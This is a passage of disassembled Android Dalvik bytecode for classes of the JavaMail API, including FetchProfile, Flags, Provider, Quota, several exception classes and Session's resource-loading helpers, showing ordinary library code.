0000001A  invoke-virtual          Vector->addElement(Object)V, v0, p1
00000020  return-void
.end method

.method public add(FetchProfile$Item)V
          .registers 3
00000000  iget-object             v0, p0, FetchProfile->specials:Vector
00000004  if-nez                  v0, :16
:8
00000008  new-instance            v0, Vector
0000000C  invoke-direct           Vector-><init>()V, v0
00000012  iput-object             v0, p0, FetchProfile->specials:Vector
:16
00000016  iget-object             v0, p0, FetchProfile->specials:Vector
0000001A  invoke-virtual          Vector->addElement(Object)V, v0, p1
00000020  return-void
.end method

.method public contains(String)Z
          .registers 3
00000000  iget-object             v0, p0, FetchProfile->headers:Vector
00000004  if-eqz                  v0, :1C
:8
00000008  iget-object             v0, p0, FetchProfile->headers:Vector
0000000C  invoke-virtual          Vector->contains(Object)Z, v0, p1
00000012  move-result             v0
00000014  if-eqz                  v0, :1C
:18
00000018  const/4                 v0, 0x1
:1A
0000001A  return                  v0
:1C
0000001C  const/4                 v0, 0x0
0000001E  goto                    :1A
.end method

.method public contains(FetchProfile$Item)Z
          .registers 3
00000000  iget-object             v0, p0, FetchProfile->specials:Vector
00000004  if-eqz                  v0, :1C
:8
00000008  iget-object             v0, p0, FetchProfile->specials:Vector
0000000C  invoke-virtual          Vector->contains(Object)Z, v0, p1
00000012  move-result             v0
00000014  if-eqz                  v0, :1C
:18
00000018  const/4                 v0, 0x1
:1A
0000001A  return                  v0
:1C
0000001C  const/4                 v0, 0x0
0000001E  goto                    :1A
.end method

.method public getHeaderNames()[String
          .registers 3
00000000  iget-object             v0, p0, FetchProfile->headers:Vector
00000004  if-nez                  v0, :10
:8
00000008  const/4                 v0, 0x0
0000000A  new-array               v0, v0, [String
:E
0000000E  return-object           v0
:10
00000010  iget-object             v0, p0, FetchProfile->headers:Vector
00000014  invoke-virtual          Vector->size()I, v0
0000001A  move-result             v0
0000001C  new-array               v0, v0, [String
00000020  iget-object             v1, p0, FetchProfile->headers:Vector
00000024  invoke-virtual          Vector->copyInto([Object)V, v1, v0
0000002A  goto                    :E
.end method

.method public getItems()[FetchProfile$Item
          .registers 3
00000000  iget-object             v0, p0, FetchProfile->specials:Vector
00000004  if-nez                  v0, :10
:8
00000008  const/4                 v0, 0x0
0000000A  new-array               v0, v0, [FetchProfile$Item
:E
0000000E  return-object           v0
:10
00000010  iget-object             v0, p0, FetchProfile->specials:Vector
00000014  invoke-virtual          Vector->size()I, v0
0000001A  move-result             v0
0000001C  new-array               v0, v0, [FetchProfile$Item
00000020  iget-object             v1, p0, FetchProfile->specials:Vector
00000024  invoke-virtual          Vector->copyInto([Object)V, v1, v0
0000002A  goto                    :E
.end method

#--------------------------------------------------------------------------------
.class public final Flags$Flag
.super Object
.source ""

.field public static final ANSWERED:Flags$Flag
.field public static final DELETED:Flags$Flag
.field public static final DRAFT:Flags$Flag
.field public static final FLAGGED:Flags$Flag
.field public static final RECENT:Flags$Flag
.field public static final SEEN:Flags$Flag
.field public static final USER:Flags$Flag
.field private bit:I

.method static constructor <clinit>()V
          .registers 2
00000000  new-instance            v0, Flags$Flag
00000004  const/4                 v1, 0x1
00000006  invoke-direct           Flags$Flag-><init>(I)V, v0, v1
0000000C  sput-object             v0, Flags$Flag->ANSWERED:Flags$Flag
00000010  new-instance            v0, Flags$Flag
00000014  const/4                 v1, 0x2
00000016  invoke-direct           Flags$Flag-><init>(I)V, v0, v1
0000001C  sput-object             v0, Flags$Flag->DELETED:Flags$Flag
00000020  new-instance            v0, Flags$Flag
00000024  const/4                 v1, 0x4
00000026  invoke-direct           Flags$Flag-><init>(I)V, v0, v1
0000002C  sput-object             v0, Flags$Flag->DRAFT:Flags$Flag
00000030  new-instance            v0, Flags$Flag
00000034  const/16                v1, 0x8
00000038  invoke-direct           Flags$Flag-><init>(I)V, v0, v1
0000003E  sput-object             v0, Flags$Flag->FLAGGED:Flags$Flag
00000042  new-instance            v0, Flags$Flag
00000046  const/16                v1, 0x10
0000004A  invoke-direct           Flags$Flag-><init>(I)V, v0, v1
00000050  sput-object             v0, Flags$Flag->RECENT:Flags$Flag
00000054  new-instance            v0, Flags$Flag
00000058  const/16                v1, 0x20
0000005C  invoke-direct           Flags$Flag-><init>(I)V, v0, v1
00000062  sput-object             v0, Flags$Flag->SEEN:Flags$Flag
00000066  new-instance            v0, Flags$Flag
0000006A  const/high16            v1, 0xFFFFFFFF80000000
0000006E  invoke-direct           Flags$Flag-><init>(I)V, v0, v1
00000074  sput-object             v0, Flags$Flag->USER:Flags$Flag
00000078  return-void
.end method

.method private constructor <init>(I)V
          .registers 2
00000000  invoke-direct           Object-><init>()V, p0
00000006  iput                    p1, p0, Flags$Flag->bit:I
0000000A  return-void
.end method

.method static synthetic access$0(Flags$Flag)I
          .registers 2
00000000  iget                    v0, p0, Flags$Flag->bit:I
00000004  return                  v0
.end method

#--------------------------------------------------------------------------------
.class public abstract MailEvent
.super EventObject
.source ""

.field private static final serialVersionUID:J = 0x199F49E8C4A31AF7L

.method public constructor <init>(Object)V
          .registers 2
00000000  invoke-direct           EventObject-><init>(Object)V, p0, p1
00000006  return-void
.end method

.method public abstract dispatch(Object)V
.end method

#--------------------------------------------------------------------------------
.class Folder$TerminatorEvent
.super MailEvent
.source ""

.field private static final serialVersionUID:J = 0x3442AC84F29E98B5L

.method constructor <init>()V
          .registers 2
00000000  new-instance            v0, Object
00000004  invoke-direct           Object-><init>()V, v0
0000000A  invoke-direct           MailEvent-><init>(Object)V, p0, v0
00000010  return-void
.end method

.method public dispatch(Object)V
          .registers 3
00000000  invoke-static           Thread->currentThread()Thread
00000006  move-result-object      v0
00000008  invoke-virtual          Thread->interrupt()V, v0
0000000E  return-void
.end method

#--------------------------------------------------------------------------------
.class public FolderClosedException
.super MessagingException
.source ""

.field private static final serialVersionUID:J = 0x176C8D33AC752D2BL
.field private transient varargs folder:Folder

.method public constructor <init>(Folder)V
          .registers 3
00000000  const/4                 v0, 0x0
00000002  invoke-direct           FolderClosedException-><init>(Folder, String)V, p0, p1, v0
00000008  return-void
.end method

.method public constructor <init>(Folder, String)V
          .registers 3
00000000  invoke-direct           MessagingException-><init>(String)V, p0, p2
00000006  iput-object             p1, p0, FolderClosedException->folder:Folder
0000000A  return-void
.end method

.method public getFolder()Folder
          .registers 2
00000000  iget-object             v0, p0, FolderClosedException->folder:Folder
00000004  return-object           v0
.end method

#--------------------------------------------------------------------------------
.class public FolderNotFoundException
.super MessagingException
.source ""

.field private static final serialVersionUID:J = 0x68F0E358302DAFBL
.field private transient varargs folder:Folder

.method public constructor <init>()V
          .registers 1
00000000  invoke-direct           MessagingException-><init>()V, p0
00000006  return-void
.end method

.method public constructor <init>(String, Folder)V
          .registers 3
00000000  invoke-direct           MessagingException-><init>(String)V, p0, p1
00000006  iput-object             p2, p0, FolderNotFoundException->folder:Folder
0000000A  return-void
.end method

.method public constructor <init>(Folder)V
          .registers 2
00000000  invoke-direct           MessagingException-><init>()V, p0
00000006  iput-object             p1, p0, FolderNotFoundException->folder:Folder
0000000A  return-void
.end method

.method public constructor <init>(Folder, String)V
          .registers 3
00000000  invoke-direct           MessagingException-><init>(String)V, p0, p2
00000006  iput-object             p1, p0, FolderNotFoundException->folder:Folder
0000000A  return-void
.end method

.method public getFolder()Folder
          .registers 2
00000000  iget-object             v0, p0, FolderNotFoundException->folder:Folder
00000004  return-object           v0
.end method

#--------------------------------------------------------------------------------
.class public Header
.super Object
.source ""

.field protected name:String
.field protected value:String

.method public constructor <init>(String, String)V
          .registers 3
00000000  invoke-direct           Object-><init>()V, p0
00000006  iput-object             p1, p0, Header->name:String
0000000A  iput-object             p2, p0, Header->value:String
0000000E  return-void
.end method

.method public getName()String
          .registers 2
00000000  iget-object             v0, p0, Header->name:String
00000004  return-object           v0
.end method

.method public getValue()String
          .registers 2
00000000  iget-object             v0, p0, Header->value:String
00000004  return-object           v0
.end method

#--------------------------------------------------------------------------------
.class public IllegalWriteException
.super MessagingException
.source ""

.field private static final serialVersionUID:J = 0x3727CCA9375F0EEDL

.method public constructor <init>()V
          .registers 1
00000000  invoke-direct           MessagingException-><init>()V, p0
00000006  return-void
.end method

.method public constructor <init>(String)V
          .registers 2
00000000  invoke-direct           MessagingException-><init>(String)V, p0, p1
00000006  return-void
.end method

#--------------------------------------------------------------------------------
.class public Message$RecipientType
.super Object
.source ""

.implements Serializable

.field public static final BCC:Message$RecipientType = null
.field public static final CC:Message$RecipientType = null
.field public static final TO:Message$RecipientType = null
.field private static final serialVersionUID:J = 0x983271084F364058L
.field protected type:String

.method static constructor <clinit>()V
          .registers 2
00000000  new-instance            v0, Message$RecipientType
00000004  const-string            v1, "To"
00000008  invoke-direct           Message$RecipientType-><init>(String)V, v0, v1
0000000E  sput-object             v0, Message$RecipientType->TO:Message$RecipientType
00000012  new-instance            v0, Message$RecipientType
00000016  const-string            v1, "Cc"
0000001A  invoke-direct           Message$RecipientType-><init>(String)V, v0, v1
00000020  sput-object             v0, Message$RecipientType->CC:Message$RecipientType
00000024  new-instance            v0, Message$RecipientType
00000028  const-string            v1, "Bcc"
0000002C  invoke-direct           Message$RecipientType-><init>(String)V, v0, v1
00000032  sput-object             v0, Message$RecipientType->BCC:Message$RecipientType
00000036  return-void
.end method

.method protected constructor <init>(String)V
          .registers 2
00000000  invoke-direct           Object-><init>()V, p0
00000006  iput-object             p1, p0, Message$RecipientType->type:String
0000000A  return-void
.end method

.method protected readResolve()Object
          .registers 4
00000000  iget-object             v0, p0, Message$RecipientType->type:String
00000004  const-string            v1, "To"
00000008  invoke-virtual          String->equals(Object)Z, v0, v1
0000000E  move-result             v0
00000010  if-eqz                  v0, :1A
:14
00000014  sget-object             v0, Message$RecipientType->TO:Message$RecipientType
:18
00000018  return-object           v0
:1A
0000001A  iget-object             v0, p0, Message$RecipientType->type:String
0000001E  const-string            v1, "Cc"
00000022  invoke-virtual          String->equals(Object)Z, v0, v1
00000028  move-result             v0
0000002A  if-eqz                  v0, :34
:2E
0000002E  sget-object             v0, Message$RecipientType->CC:Message$RecipientType
00000032  goto                    :18
:34
00000034  iget-object             v0, p0, Message$RecipientType->type:String
00000038  const-string            v1, "Bcc"
0000003C  invoke-virtual          String->equals(Object)Z, v0, v1
00000042  move-result             v0
00000044  if-eqz                  v0, :4E
:48
00000048  sget-object             v0, Message$RecipientType->BCC:Message$RecipientType
0000004C  goto                    :18
:4E
0000004E  new-instance            v0, InvalidObjectException
00000052  new-instance            v1, StringBuilder
00000056  const-string            v2, "Attempt to resolve unknown RecipientType: "
0000005A  invoke-direct           StringBuilder-><init>(String)V, v1, v2
00000060  iget-object             v2, p0, Message$RecipientType->type:String
00000064  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
0000006A  move-result-object      v1
0000006C  invoke-virtual          StringBuilder->toString()String, v1
00000072  move-result-object      v1
00000074  invoke-direct           InvalidObjectException-><init>(String)V, v0, v1
0000007A  throw                   v0
.end method

.method public toString()String
          .registers 2
00000000  iget-object             v0, p0, Message$RecipientType->type:String
00000004  return-object           v0
.end method

#--------------------------------------------------------------------------------
.class public MessageContext
.super Object
.source ""

.field private part:Part

.method public constructor <init>(Part)V
          .registers 2
00000000  invoke-direct           Object-><init>()V, p0
00000006  iput-object             p1, p0, MessageContext->part:Part
0000000A  return-void
.end method

.method private static getMessage(Part)Message
          .registers 4
00000000  const/4                 v1, 0x0
00000002  move-object             v0, p0
:4
00000004  if-nez                  v0, :C
:8
00000008  move-object             v0, v1
:A
0000000A  return-object           v0
:C
0000000C  instance-of             v2, v0, Message
00000010  if-eqz                  v2, :1A
:14
00000014  check-cast              v0, Message
00000018  goto                    :A
:1A
0000001A  check-cast              v0, BodyPart
0000001E  invoke-virtual          BodyPart->getParent()Multipart, v0
00000024  move-result-object      v0
00000026  if-nez                  v0, :2E
:2A
0000002A  move-object             v0, v1
0000002C  goto                    :A
:2E
0000002E  invoke-virtual          Multipart->getParent()Part, v0
00000034  move-result-object      v0
00000036  goto                    :4
.end method

.method public getMessage()Message
          .registers 2
00000000  iget-object             v0, p0, MessageContext->part:Part
00000004  invoke-static           MessageContext->getMessage(Part)Message, v0
:A
0000000A  move-result-object      v0
:C
0000000C  return-object           v0
:E
0000000E  move-exception          v0
00000010  const/4                 v0, 0x0
00000012  goto                    :C
          .catch MessagingException {:0 .. :A} :E
.end method

.method public getPart()Part
          .registers 2
00000000  iget-object             v0, p0, MessageContext->part:Part
00000004  return-object           v0
.end method

.method public getSession()Session
          .registers 2
00000000  invoke-virtual          MessageContext->getMessage()Message, p0
00000006  move-result-object      v0
00000008  if-eqz                  v0, :12
:C
0000000C  iget-object             v0, v0, Message->session:Session
:10
00000010  return-object           v0
:12
00000012  const/4                 v0, 0x0
00000014  goto                    :10
.end method

#--------------------------------------------------------------------------------
.class public MessageRemovedException
.super MessagingException
.source ""

.field private static final serialVersionUID:J = 0x1B14623C881E84F2L

.method public constructor <init>()V
          .registers 1
00000000  invoke-direct           MessagingException-><init>()V, p0
00000006  return-void
.end method

.method public constructor <init>(String)V
          .registers 2
00000000  invoke-direct           MessagingException-><init>(String)V, p0, p1
00000006  return-void
.end method

#--------------------------------------------------------------------------------
.class public MethodNotSupportedException
.super MessagingException
.source ""

.field private static final serialVersionUID:J = 0xCBDB14C71B05D986L

.method public constructor <init>()V
          .registers 1
00000000  invoke-direct           MessagingException-><init>()V, p0
00000006  return-void
.end method

.method public constructor <init>(String)V
          .registers 2
00000000  invoke-direct           MessagingException-><init>(String)V, p0, p1
00000006  return-void
.end method

#--------------------------------------------------------------------------------
.class public NoSuchProviderException
.super MessagingException
.source ""

.field private static final serialVersionUID:J = 0x6FD4E6B3CB29CD5BL

.method public constructor <init>()V
          .registers 1
00000000  invoke-direct           MessagingException-><init>()V, p0
00000006  return-void
.end method

.method public constructor <init>(String)V
          .registers 2
00000000  invoke-direct           MessagingException-><init>(String)V, p0, p1
00000006  return-void
.end method

#--------------------------------------------------------------------------------
.class public final PasswordAuthentication
.super Object
.source ""

.field private password:String
.field private userName:String

.method public constructor <init>(String, String)V
          .registers 3
00000000  invoke-direct           Object-><init>()V, p0
00000006  iput-object             p1, p0, PasswordAuthentication->userName:String
0000000A  iput-object             p2, p0, PasswordAuthentication->password:String
0000000E  return-void
.end method

.method public getPassword()String
          .registers 2
00000000  iget-object             v0, p0, PasswordAuthentication->password:String
00000004  return-object           v0
.end method

.method public getUserName()String
          .registers 2
00000000  iget-object             v0, p0, PasswordAuthentication->userName:String
00000004  return-object           v0
.end method

#--------------------------------------------------------------------------------
.class public Provider$Type
.super Object
.source ""

.field public static final STORE:Provider$Type
.field public static final TRANSPORT:Provider$Type
.field private type:String

.method static constructor <clinit>()V
          .registers 2
00000000  new-instance            v0, Provider$Type
00000004  const-string            v1, "STORE"
00000008  invoke-direct           Provider$Type-><init>(String)V, v0, v1
0000000E  sput-object             v0, Provider$Type->STORE:Provider$Type
00000012  new-instance            v0, Provider$Type
00000016  const-string            v1, "TRANSPORT"
0000001A  invoke-direct           Provider$Type-><init>(String)V, v0, v1
00000020  sput-object             v0, Provider$Type->TRANSPORT:Provider$Type
00000024  return-void
.end method

.method private constructor <init>(String)V
          .registers 2
00000000  invoke-direct           Object-><init>()V, p0
00000006  iput-object             p1, p0, Provider$Type->type:String
0000000A  return-void
.end method

.method public toString()String
          .registers 2
00000000  iget-object             v0, p0, Provider$Type->type:String
00000004  return-object           v0
.end method

#--------------------------------------------------------------------------------
.class public Provider
.super Object
.source ""

.field private className:String
.field private protocol:String
.field private type:Provider$Type
.field private vendor:String
.field private version:String

.method public constructor <init>(Provider$Type, String, String, String, String)V
          .registers 6
00000000  invoke-direct           Object-><init>()V, p0
00000006  iput-object             p1, p0, Provider->type:Provider$Type
0000000A  iput-object             p2, p0, Provider->protocol:String
0000000E  iput-object             p3, p0, Provider->className:String
00000012  iput-object             p4, p0, Provider->vendor:String
00000016  iput-object             p5, p0, Provider->version:String
0000001A  return-void
.end method

.method public getClassName()String
          .registers 2
00000000  iget-object             v0, p0, Provider->className:String
00000004  return-object           v0
.end method

.method public getProtocol()String
          .registers 2
00000000  iget-object             v0, p0, Provider->protocol:String
00000004  return-object           v0
.end method

.method public getType()Provider$Type
          .registers 2
00000000  iget-object             v0, p0, Provider->type:Provider$Type
00000004  return-object           v0
.end method

.method public getVendor()String
          .registers 2
00000000  iget-object             v0, p0, Provider->vendor:String
00000004  return-object           v0
.end method

.method public getVersion()String
          .registers 2
00000000  iget-object             v0, p0, Provider->version:String
00000004  return-object           v0
.end method

.method public toString()String
          .registers 3
00000000  new-instance            v0, StringBuilder
00000004  const-string            v1, "javax.mail.Provider["
00000008  invoke-direct           StringBuilder-><init>(String)V, v0, v1
0000000E  iget-object             v1, p0, Provider->type:Provider$Type
00000012  invoke-virtual          StringBuilder->append(Object)StringBuilder, v0, v1
00000018  move-result-object      v0
0000001A  const-string            v1, ","
0000001E  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
00000024  move-result-object      v0
00000026  iget-object             v1, p0, Provider->protocol:String
0000002A  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
00000030  move-result-object      v0
00000032  const-string            v1, ","
00000036  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
0000003C  move-result-object      v0
0000003E  iget-object             v1, p0, Provider->className:String
00000042  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
00000048  move-result-object      v0
0000004A  invoke-virtual          StringBuilder->toString()String, v0
00000050  move-result-object      v0
00000052  iget-object             v1, p0, Provider->vendor:String
00000056  if-eqz                  v1, :8C
:5A
0000005A  new-instance            v1, StringBuilder
0000005E  invoke-static           String->valueOf(Object)String, v0
00000064  move-result-object      v0
00000066  invoke-direct           StringBuilder-><init>(String)V, v1, v0
0000006C  const-string            v0, ","
00000070  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v0
00000076  move-result-object      v0
00000078  iget-object             v1, p0, Provider->vendor:String
0000007C  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
00000082  move-result-object      v0
00000084  invoke-virtual          StringBuilder->toString()String, v0
0000008A  move-result-object      v0
:8C
0000008C  iget-object             v1, p0, Provider->version:String
00000090  if-eqz                  v1, :C6
:94
00000094  new-instance            v1, StringBuilder
00000098  invoke-static           String->valueOf(Object)String, v0
0000009E  move-result-object      v0
000000A0  invoke-direct           StringBuilder-><init>(String)V, v1, v0
000000A6  const-string            v0, ","
000000AA  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v0
000000B0  move-result-object      v0
000000B2  iget-object             v1, p0, Provider->version:String
000000B6  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
000000BC  move-result-object      v0
000000BE  invoke-virtual          StringBuilder->toString()String, v0
000000C4  move-result-object      v0
:C6
000000C6  new-instance            v1, StringBuilder
000000CA  invoke-static           String->valueOf(Object)String, v0
000000D0  move-result-object      v0
000000D2  invoke-direct           StringBuilder-><init>(String)V, v1, v0
000000D8  const-string            v0, "]"
000000DC  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v0
000000E2  move-result-object      v0
000000E4  invoke-virtual          StringBuilder->toString()String, v0
000000EA  move-result-object      v0
000000EC  return-object           v0
.end method

#--------------------------------------------------------------------------------
.class public Quota$Resource
.super Object
.source ""

.field public limit:J
.field public name:String
.field public usage:J

.method public constructor <init>(String, J, J)V
          .registers 6
00000000  invoke-direct           Object-><init>()V, p0
00000006  iput-object             p1, p0, Quota$Resource->name:String
0000000A  iput-wide               p2, p0, Quota$Resource->usage:J
0000000E  iput-wide               p4, p0, Quota$Resource->limit:J
00000012  return-void
.end method

#--------------------------------------------------------------------------------
.class public Quota
.super Object
.source ""

.field public quotaRoot:String
.field public resources:[Quota$Resource

.method public constructor <init>(String)V
          .registers 2
00000000  invoke-direct           Object-><init>()V, p0
00000006  iput-object             p1, p0, Quota->quotaRoot:String
0000000A  return-void
.end method

.method public setResourceLimit(String, J)V
          .registers 12
00000000  const-wide/16           v2, 0x0
00000004  const/4                 v6, 0x0
00000006  iget-object             v0, p0, Quota->resources:[Quota$Resource
0000000A  if-nez                  v0, :30
:E
0000000E  const/4                 v0, 0x1
00000010  new-array               v0, v0, [Quota$Resource
00000014  iput-object             v0, p0, Quota->resources:[Quota$Resource
00000018  iget-object             v7, p0, Quota->resources:[Quota$Resource
0000001C  new-instance            v0, Quota$Resource
00000020  move-object             v1, p1
00000022  move-wide               v4, p2
00000024  invoke-direct/range     Quota$Resource-><init>(String, J, J)V, v0 .. v5
0000002A  aput-object             v0, v7, v6
:2E
0000002E  return-void
:30
00000030  move                    v0, v6
:32
00000032  iget-object             v1, p0, Quota->resources:[Quota$Resource
00000036  array-length            v1, v1
00000038  if-lt                   v0, v1, :78
:3C
0000003C  iget-object             v0, p0, Quota->resources:[Quota$Resource
00000040  array-length            v0, v0
00000042  add-int/lit8            v0, v0, 0x1
00000046  new-array               v7, v0, [Quota$Resource
0000004A  iget-object             v0, p0, Quota->resources:[Quota$Resource
0000004E  iget-object             v1, p0, Quota->resources:[Quota$Resource
00000052  array-length            v1, v1
00000054  invoke-static           System->arraycopy(Object, I, Object, I, I)V, v0, v6, v7, v6, v1
0000005A  array-length            v0, v7
0000005C  add-int/lit8            v6, v0, 0xFFFFFFFFFFFFFFFF
00000060  new-instance            v0, Quota$Resource
00000064  move-object             v1, p1
00000066  move-wide               v4, p2
00000068  invoke-direct/range     Quota$Resource-><init>(String, J, J)V, v0 .. v5
0000006E  aput-object             v0, v7, v6
00000072  iput-object             v7, p0, Quota->resources:[Quota$Resource
00000076  goto                    :2E
:78
00000078  iget-object             v1, p0, Quota->resources:[Quota$Resource
0000007C  aget-object             v1, v1, v0
00000080  iget-object             v1, v1, Quota$Resource->name:String
00000084  invoke-virtual          String->equalsIgnoreCase(String)Z, v1, p1
0000008A  move-result             v1
0000008C  if-eqz                  v1, :9E
:90
00000090  iget-object             v1, p0, Quota->resources:[Quota$Resource
00000094  aget-object             v0, v1, v0
00000098  iput-wide               p2, v0, Quota$Resource->limit:J
0000009C  goto                    :2E
:9E
0000009E  add-int/lit8            v0, v0, 0x1
000000A2  goto                    :32
.end method

#--------------------------------------------------------------------------------
.class public ReadOnlyFolderException
.super MessagingException
.source ""

.field private static final serialVersionUID:J = 0x4F447E8D4F54375DL
.field private transient varargs folder:Folder

.method public constructor <init>(Folder)V
          .registers 3
00000000  const/4                 v0, 0x0
00000002  invoke-direct           ReadOnlyFolderException-><init>(Folder, String)V, p0, p1, v0
00000008  return-void
.end method

.method public constructor <init>(Folder, String)V
          .registers 3
00000000  invoke-direct           MessagingException-><init>(String)V, p0, p2
00000006  iput-object             p1, p0, ReadOnlyFolderException->folder:Folder
0000000A  return-void
.end method

.method public getFolder()Folder
          .registers 2
00000000  iget-object             v0, p0, ReadOnlyFolderException->folder:Folder
00000004  return-object           v0
.end method

#--------------------------------------------------------------------------------
.class Service$TerminatorEvent
.super MailEvent
.source ""

.field private static final serialVersionUID:J = 0x4CE9C033019EFFA0L

.method constructor <init>()V
          .registers 2
00000000  new-instance            v0, Object
00000004  invoke-direct           Object-><init>()V, v0
0000000A  invoke-direct           MailEvent-><init>(Object)V, p0, v0
00000010  return-void
.end method

.method public dispatch(Object)V
          .registers 3
00000000  invoke-static           Thread->currentThread()Thread
00000006  move-result-object      v0
00000008  invoke-virtual          Thread->interrupt()V, v0
0000000E  return-void
.end method

#--------------------------------------------------------------------------------
.class abstract interface StreamLoader
.super Object
.source ""

.method public abstract load(InputStream)V
.end method

#--------------------------------------------------------------------------------
.class Session$1
.super Object
.source ""

.implements StreamLoader

.field final synthetic this$0:Session

.method constructor <init>(Session)V
          .registers 2
00000000  iput-object             p1, p0, Session$1->this$0:Session
00000004  invoke-direct           Object-><init>()V, p0
0000000A  return-void
.end method

.method public load(InputStream)V
          .registers 3
00000000  iget-object             v0, p0, Session$1->this$0:Session
00000004  invoke-static           Session->access$0(Session, InputStream)V, v0, p1
0000000A  return-void
.end method

#--------------------------------------------------------------------------------
.class Session$2
.super Object
.source ""

.implements StreamLoader

.field final synthetic this$0:Session

.method constructor <init>(Session)V
          .registers 2
00000000  iput-object             p1, p0, Session$2->this$0:Session
00000004  invoke-direct           Object-><init>()V, p0
0000000A  return-void
.end method

.method public load(InputStream)V
          .registers 3
00000000  iget-object             v0, p0, Session$2->this$0:Session
00000004  invoke-static           Session->access$1(Session)Properties, v0
0000000A  move-result-object      v0
0000000C  invoke-virtual          Properties->load(InputStream)V, v0, p1
00000012  return-void
.end method

#--------------------------------------------------------------------------------
.class Session$3
.super Object
.source ""

.implements PrivilegedAction

.method constructor <init>()V
          .registers 1
00000000  invoke-direct           Object-><init>()V, p0
00000006  return-void
.end method

.method public run()Object
          .registers 3
00000000  const/4                 v0, 0x0
:2
00000002  invoke-static           Thread->currentThread()Thread
00000008  move-result-object      v1
0000000A  invoke-virtual          Thread->getContextClassLoader()ClassLoader, v1
:10
00000010  move-result-object      v0
:12
00000012  return-object           v0
:14
00000014  move-exception          v1
00000016  goto                    :12
          .catch SecurityException {:2 .. :10} :14
.end method

#--------------------------------------------------------------------------------
.class Session$4
.super Object
.source ""

.implements PrivilegedExceptionAction

.field private final synthetic val$c:Class
.field private final synthetic val$name:String

.method constructor <init>(Class, String)V
          .registers 3
00000000  iput-object             p1, p0, Session$4->val$c:Class
00000004  iput-object             p2, p0, Session$4->val$name:String
00000008  invoke-direct           Object-><init>()V, p0
0000000E  return-void
.end method

.method public run()Object
          .registers 3
00000000  iget-object             v0, p0, Session$4->val$c:Class
00000004  iget-object             v1, p0, Session$4->val$name:String
00000008  invoke-virtual          Class->getResourceAsStream(String)InputStream, v0, v1
0000000E  move-result-object      v0
00000010  return-object           v0
.end method

#--------------------------------------------------------------------------------
.class Session$5
.super Object
.source ""

.implements PrivilegedAction

.field private final synthetic val$cl:ClassLoader
.field private final synthetic val$name:String

.method constructor <init>(ClassLoader, String)V
          .registers 3
00000000  iput-object             p1, p0, Session$5->val$cl:ClassLoader
00000004  iput-object             p2, p0, Session$5->val$name:String
00000008  invoke-direct           Object-><init>()V, p0
0000000E  return-void
.end method

.method public run()Object
          .registers 5
00000000  const/4                 v0, 0x0
00000002  check-cast              v0, [URL
:6
00000006  new-instance            v2, Vector
0000000A  invoke-direct           Vector-><init>()V, v2
00000010  iget-object             v1, p0, Session$5->val$cl:ClassLoader
00000014  iget-object             v3, p0, Session$5->val$name:String
00000018  invoke-virtual          ClassLoader->getResources(String)Enumeration, v1, v3
0000001E  move-result-object      v3
:20
00000020  if-eqz                  v3, :30
:24
00000024  invoke-interface        Enumeration->hasMoreElements()Z, v3
0000002A  move-result             v1
0000002C  if-nez                  v1, :50
:30
00000030  invoke-virtual          Vector->size()I, v2
00000036  move-result             v1
00000038  if-lez                  v1, :4E
:3C
0000003C  invoke-virtual          Vector->size()I, v2
00000042  move-result             v1
00000044  new-array               v0, v1, [URL
00000048  invoke-virtual          Vector->copyInto([Object)V, v2, v0
:4E
0000004E  return-object           v0
:50
00000050  invoke-interface        Enumeration->nextElement()Object, v3
00000056  move-result-object      v1
00000058  check-cast              v1, URL
0000005C  if-eqz                  v1, :20
:60
00000060  invoke-virtual          Vector->addElement(Object)V, v2, v1
:66
00000066  goto                    :20
:68
00000068  move-exception          v1
0000006A  goto                    :4E
:6C
0000006C  move-exception          v1
0000006E  goto                    :4E
          .catch IOException {:6 .. :66} :68
          .catch SecurityException {:6 .. :66} :6C
.end method

#--------------------------------------------------------------------------------
.class Session$6
.super Object
.source ""

.implements PrivilegedAction

.field private final synthetic val$name:String

.method constructor <init>(String)V
          .registers 2
00000000  iput-object             p1, p0, Session$6->val$name:String
00000004  invoke-direct           Object-><init>()V, p0
0000000A  return-void
.end method

.method public run()Object
          .registers 5
00000000  const/4                 v0, 0x0
00000002  check-cast              v0, [URL
:6
00000006  new-instance            v2, Vector
0000000A  invoke-direct           Vector-><init>()V, v2
00000010  iget-object             v1, p0, Session$6->val$name:String
00000014  invoke-static           ClassLoader->getSystemResources(String)Enumeration, v1
0000001A  move-result-object      v3
:1C
0000001C  if-eqz                  v3, :2C
:20
00000020  invoke-interface        Enumeration->hasMoreElements()Z, v3
00000026  move-result             v1
00000028  if-nez                  v1, :4C
:2C
0000002C  invoke-virtual          Vector->size()I, v2
00000032  move-result             v1
00000034  if-lez                  v1, :4A
:38
00000038  invoke-virtual          Vector->size()I, v2
0000003E  move-result             v1
00000040  new-array               v0, v1, [URL
00000044  invoke-virtual          Vector->copyInto([Object)V, v2, v0
:4A
0000004A  return-object           v0
:4C
0000004C  invoke-interface        Enumeration->nextElement()Object, v3
00000052  move-result-object      v1
00000054  check-cast              v1, URL
00000058  if-eqz                  v1, :1C
:5C
0000005C  invoke-virtual          Vector->addElement(Object)V, v2, v1
:62
00000062  goto                    :1C
:64
00000064  move-exception          v1
00000066  goto                    :4A
:68
00000068  move-exception          v1
0000006A  goto                    :4A
          .catch IOException {:6 .. :62} :64
          .catch SecurityException {:6 .. :62} :68
.end method

#--------------------------------------------------------------------------------
.class Session$7
.super Object
.source ""

.implements PrivilegedExceptionAction

.field private final synthetic val$url:URL

.method constructor <init>(URL)V
          .registers 2
00000000  iput-object             p1, p0, Session$7->val$url:URL
00000004  invoke-direct           Object-><init>()V, p0
0000000A  return-void
.end method

.method public run()Object
          .registers 2
00000000  iget-object             v0, p0, Session$7->val$url:URL
00000004  invoke-virtual          URL->openStream()InputStream, v0
0000000A  move-result-object      v0
0000000C  return-object           v0
.end method

#--------------------------------------------------------------------------------
.class public final Session
.super Object
.source ""

.field private static defaultSession:Session
.field private final addressMap:Properties
.field private final authTable:Hashtable
.field private final authenticator:Authenticator
.field private debug:Z
.field private out:PrintStream
.field private final props:Properties
.field private final providers:Vector
.field private final providersByClassName:Hashtable
.field private final providersByProtocol:Hashtable

